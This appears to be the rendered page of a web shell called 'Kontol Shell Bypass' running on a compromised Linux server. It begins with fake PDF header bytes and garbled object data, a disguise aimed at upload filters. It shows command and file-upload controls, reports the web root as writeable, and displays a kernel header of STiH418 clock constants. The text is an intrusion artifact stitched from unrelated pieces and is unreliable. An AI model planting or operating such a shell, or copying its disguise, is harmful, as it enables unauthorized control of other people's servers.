%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /lib/modules/4.15.0-1044-aws/build/include/dt-bindings/clock/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //lib/modules/4.15.0-1044-aws/build/include/dt-bindings/clock/stih418-clks.h
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * This header provides constants clk index STMicroelectronics
 * STiH418 SoC.
 */
#ifndef _DT_BINDINGS_CLK_STIH418
#define _DT_BINDINGS_CLK_STIH418

#include "stih410-clks.h"

/* STiH418 introduces new clock outputs compared to STiH410 */

/* CLOCKGEN C0 */
#define CLK_PROC_BDISP_0        14
#define CLK_PROC_BDISP_1        15
#define CLK_TX_ICN_1            23
#define CLK_ETH_PHYREF          27
#define CLK_PP_HEVC             35
#define CLK_CLUST_HEVC          36
#define CLK_HWPE_HEVC           37
#define CLK_FC_HEVC             38
#define CLK_PROC_MIXER		39
#define CLK_PROC_SC		40
#define CLK_AVSP_HEVC		41

/* CLOCKGEN D2 */
#undef CLK_PIX_PIP
#undef CLK_PIX_GDP1
#undef CLK_PIX_GDP2
#undef CLK_PIX_GDP3
#undef CLK_PIX_GDP4

#define CLK_TMDS_HDMI_DIV2	5
#define CLK_VP9			47
#endif

Kontol Shell Bypass